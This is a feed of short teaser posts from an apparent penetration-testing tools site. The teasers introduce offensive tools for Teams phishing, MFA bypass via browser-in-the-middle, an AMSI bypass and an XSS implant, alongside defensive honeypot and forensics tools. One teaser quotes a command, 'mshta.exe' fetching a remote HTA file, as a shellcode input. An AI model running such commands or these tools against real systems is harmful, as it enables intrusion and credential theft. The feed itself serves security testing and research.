TeamsPhisher TeamsPhisher is a Python3 program that facilitates the delivery of phishing messages and attachments to Microsoft Teams users whose organizations allow external communications. It is not ordinarily possible to send files to Teams...
The post TeamsPhisher: Send phishing messages and attachments to Microsoft Teams users appeared first on Penetration Testing Tools.
Damn Vulnerable RESTaurant An intentionally vulnerable API service designed for learning and training purposes dedicated to developers, ethical hackers, and security engineers. The idea of the project is to provide an environment that can...
The post Damn Vulnerable RESTaurant: An intentionally vulnerable Web API game for learning and training appeared first on Penetration Testing Tools.
Sessionless Sessionless is a Burp Suite extension for editing, signing, verifying, and attacking signed tokens: Django TimestampSigner, ItsDangerous Signer, Express cookie-session middleware, OAuth2 Proxy, and Tornado’s signed cookies. It provides automatic detection and in-line editing of tokens within HTTP...
The post sessionless: Burp Suite extension for editing, signing, verifying various signed web tokens appeared first on Penetration Testing Tools.
SentryPeer A distributed list of bad IP addresses and phone numbers was collected via a SIP Honeypot. This is basically a fraud detection tool. It lets bad actors try to make phone calls and...
The post SentryPeer: distributed list of bad IP addresses and phone numbers appeared first on Penetration Testing Tools.
ShellcodeGenZ takes your commands (like mshta.exe http://192.168.0.1/azi.hta) and turns ’em into shellcode that’s ready to flex. It hunts down bad chars (like 0x0a, 0x0b, or the default 0x00), lets you yeet ’em manually or auto...
The post ShellcodeGenZ: Shellcode Generator to execute commands with winExec API appeared first on Penetration Testing Tools.
Digital Forensics Lab & Shared Cyber Forensic Intelligence Repository Features of Repository Interactive Digital Forensics Labs: Tailored for students and faculty engagement Linux-Centric Lab Environment: Utilizes Kali Linux exclusively for all labs Visual Learning Support: Each lab...
The post Digital Forensics Lab: Free hands-on digital forensics labs for students and faculty appeared first on Penetration Testing Tools.
Telerecon Telerecon is a comprehensive OSINT reconnaissance framework for researching, investigating, and scraping Telegram. For example: Input a target username, and Telerecon efficiently crawls across multiple chats gathering profile metadata, account activity, and user...
The post Telerecon: OSINT reconnaissance framework for researching, investigating, and scraping Telegram appeared first on Penetration Testing Tools.
EntraFalcon is a PowerShell-based assessment tool for pentesters, security analysts, and system administrators to evaluate the security posture of a Microsoft Entra ID environment. Designed for ease of use, EntraFalcon runs on PowerShell 5.1...
The post EntraFalcon: PowerShell Tool for Microsoft Entra ID Security Audits appeared first on Penetration Testing Tools.
This technique exploits the COM-level mechanics AMSI uses when delegating scan requests to antivirus (AV) providers through RPC. By hooking into the NdrClientCall3 function—used internally by the RPC runtime to marshal and dispatch function...
The post Ghosting-AMSI: AMSI Bypass via RPC Hijack appeared first on Penetration Testing Tools.
ntfstool NTFSTool is a forensic tool to play with disks and NTFS volumes. It supports reading partition info (mbr, partition table, vbr) but also information on bitlocker encrypted partition (fve). See examples below to...
The post ntfstool: Forensics tool for NTFS appeared first on Penetration Testing Tools.
fuzzuf fuzzuf (fuzzing unification framework) is a fuzzing framework with its own DSL to describe a fuzzing loop by constructing building blocks of fuzzing primitives. Why use fuzzuf? fuzzuf enables a flexible definition of a fuzzing loop...
The post fuzzuf: Fuzzing Unification Framework appeared first on Penetration Testing Tools.
CuddlePhish Weaponized multi-user browser-in-the-middle (BitM) for penetration testers. This attack can be used to bypass multi-factor authentication on many high-value web applications. It even works for applications that do not use session tokens, and...
The post cuddlephish: Weaponized multi-user browser-in-the-middle (BitM) for penetration testers appeared first on Penetration Testing Tools.
Apepe Apepe is a Python tool developed to help pentesters and red teamers easily get information from the target app. This tool will extract basic pieces of information such as the package name if...
The post Apepe: Enumerate information from an app based on the APK file appeared first on Penetration Testing Tools.
T-Pot – The All In One Honeypot Platform T-Pot is based on the Debian (Stable) network installer. The honeypot daemons as well as other support components are dockered. This allows T-Pot to run multiple honeypot...
The post tpotce: The All In One Honeypot Platform appeared first on Penetration Testing Tools.
Caracal Caracal is a static analyzer tool over the SIERRA representation for Starknet smart contracts. Features Detectors to detect vulnerable Cairo code Printers to report information Taint analysis Data flow analysis framework Easy to...
The post caracal: Static Analyzer for Starknet smart contracts appeared first on Penetration Testing Tools.
CSIRT-Collect A PowerShell script to collect memory and (triage) disk forensics for incident response investigations. The script leverages a network share, from which it will access and copy the required executables and subsequently upload...
The post CyberPipe: collect memory and disk forensics appeared first on Penetration Testing Tools.
honeypots 30 low-high level honeypots in a single PyPI package for monitoring network traffic, bots activities, and username \ password credentials. The honeypots respond back, non-blocking, can be used as objects, or called directly...
The post honeypots: 30 honeypots in a single pypi package appeared first on Penetration Testing Tools.
JS-Tap JS-Tap is a generic JavaScript payload and supporting software to help red teamers attack webapps. The JS-Tap payload can be used as an XSS payload or as a post-exploitation implant. The payload does...
The post JS-Tap: generic JavaScript payload and supporting software to help red teamers attack webapps appeared first on Penetration Testing Tools.
IPED Digital Forensic Tool IPED is open-source software that can be used to process and analyze digital evidence, often seized at crime scenes by law enforcement or in a corporate investigation by private examiners....
The post IPED Digital Forensic Tool appeared first on Penetration Testing Tools.
XnlReveal This is a Chrome Extension that can do the following: Show an alert for any query parameters that are reflected. Show the Wayback Archive endpoints for the path visited Show any hidden elements on the...
The post XnlReveal: Chrome browser extension to show alerts for relfected query params, show hidden elements appeared first on Penetration Testing Tools.
